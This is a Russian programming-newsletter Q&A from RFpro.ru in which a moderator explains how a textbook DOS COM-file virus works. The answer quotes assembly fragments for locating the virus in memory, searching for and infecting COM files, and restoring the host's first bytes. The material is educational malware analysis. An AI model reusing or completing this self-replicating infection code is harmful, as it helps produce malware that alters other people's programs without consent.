Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

RFpro.ru: Ассемблер? Это просто! Учимся программировать


РАССЫЛКИ ПОРТАЛА RFPRO.RU

Лучшие эксперты по данной тематике

Асмик Гаряка
Статус: Советник
Рейтинг: 11034
∙ повысить рейтинг »
Коцюрбенко Алексей aka Жерар
Статус: Советник
Рейтинг: 4342
∙ повысить рейтинг »
Куликов Роман Евгеньевич
Статус: 1-й класс
Рейтинг: 0
∙ повысить рейтинг »

/ КОМПЬЮТЕРЫ И СОФТ / Программирование / Assembler (Ассемблер)

Номер выпуска:1567
Дата выхода:11.10.2015, 15:51
Администратор рассылки:Лысков Игорь Витальевич (Старший модератор)
Подписчиков / экспертов:15 / 8
Вопросов / ответов:1 / 1

Консультация # 188088: Здравствуйте! Разбираю код вируса из учебника Калашникова (глава 20), не совсем понятно для чего пишутся после вируса первые 6 байт com-файла: mov ah,40h ;После тела вируса дописываем первые mov cx,F_bytes ;настоящие шесть байт "файла-жертвы"... mov dx,offset Finish ведь даже заражен...


Консультация # 188088:

Здравствуйте! Разбираю код вируса из учебника Калашникова (глава 20), не совсем понятно для чего пишутся после вируса первые 6 байт com-файла:
mov ah,40h ;После тела вируса дописываем первые
mov cx,F_bytes ;настоящие шесть байт "файла-жертвы"...
mov dx,offset Finish

ведь даже зараженный com-файл, при запуске, их вроде не использует для затирания,
а используется массив: First_bytes db 4 dup (90h), 0CDh, 20h?

Дата отправки: 08.10.2015, 19:38
Вопрос задал: Посетитель - 398958 (Посетитель)
Всего ответов: 1
Страница онлайн-консультации »


Консультирует Зенченко Константин Николаевич (Модератор):

Здравствуйте, Посетитель - 398958!

На код нужно смотреть как на вирус.
1)Способ распространения его по сети: это может быть как посещение "интерестного" сайта и первое выполнение вируса на РС, или с помощью несанкционированого доступа, запуск вируса на машине пользователя и т.д.. Это не столь важно, главное вирус как-то уже попал на машину пользователя.
2)Вирус должен получать управление, именно для этого меняются первые 6-ть байт. Эти байты хранят команду передачи упраления и маркер уже зараженого файла. В данном случае вирус дописывает себя в конец файла. Длина заражаемого файла не известна, по этому используется так называемый лямбда-вызов.

Код :
      call Get_IP
Get_IP:
       pop ax

После этого вирус знает текущий адрес, все остальное он будет вычислять с учетом полученной информации.
3)В память видео-буфера копируется только чистый код вируса и ему передается управление.
Код :
      sub ax,offset Get_IP
       push 0BF00h
       pop es
       mov di,offset Open_file
       mov si,di
       add si,ax
       mov cx,offset Finish-offset Open_file
       rep movsb
       mov bx,offset Lab_return
       add bx,ax
       push cs
       push bx
       mov bx,offset Lab_jmp
       push 0BF00h
       push bx
       retf

После этого начинается поиск СОМ-файлов. Найденый файл, загружается в память, проверяется маркер (1122h) заражености, и если все чисто, вирус дописывает себя в памяти в конец файла, меняет первые 6-ть байт, сохраняя оригинал в конце самого файла. Этим занимается код:
Код :
      call Find_first
       jc Nomore_files
Inf_file:
       call Infect_file
       jnc Nomore_files
       call Find_next
       jnc Inf_file

4)Отработав поиск, вирус с чувством удовлетворения передает управление запущеному файлу, востановив первые 6-ть байт
Код :
Nomore_files:
      mov si,offset First_bytes
      mov di,100h
      push ss
      pop es
      mov cx,F_bytes
      rep movsb
Lab_return:
       push cs
       pop ds
       mov ah,1Ah
       mov dx,80h
       int 21h
       popa
       push 100h
       ret

5)Задержка при запуске на пару секунд, не насторожит пользователя, "Ну мало ли чем там система занята". Главное запускаемая программа начала работать. Именно для этого и вотанавливаются первые байты. Такой способ заражения характерен для СОМ-файлов, т.к. размер файла, это и есть длина кода, первая команда всегда выполняется с адреса 0х100. В случае с ЕХЕ-файлами вирусу нужно было бы анализировать MZ-заголовок, расположение сегментов, точку входа, а это уже лишний код, ну и связанные с этим проблемы.

Удачи!

Консультировал: Зенченко Константин Николаевич (Модератор)
Дата отправки: 11.10.2015, 15:09
Рейтинг ответа:

НЕ одобряю 0 одобряю!


Оценить выпуск | Задать вопрос экспертам

главная страница  |  стать участником  |  получить консультацию
техническая поддержка  |  восстановить логин/пароль

Дорогой читатель!
Команда портала RFPRO.RU благодарит Вас за то, что Вы пользуетесь нашими услугами. Вы только что прочли очередной выпуск рассылки. Мы старались. Пожалуйста, оцените его. Если совет помог Вам, если Вам понравился ответ, Вы можете поблагодарить автора - для этого в каждом ответе есть специальные ссылки. Вы можете оставить отзыв о работе портале. Нам очень важно знать Ваше мнение. Вы можете поближе познакомиться с жизнью портала, посетив наш форум, почитав журнал, который издают наши эксперты. Если у Вас есть желание помочь людям, поделиться своими знаниями, Вы можете зарегистрироваться экспертом. Заходите - у нас интересно!
МЫ РАБОТАЕМ ДЛЯ ВАС!


В избранное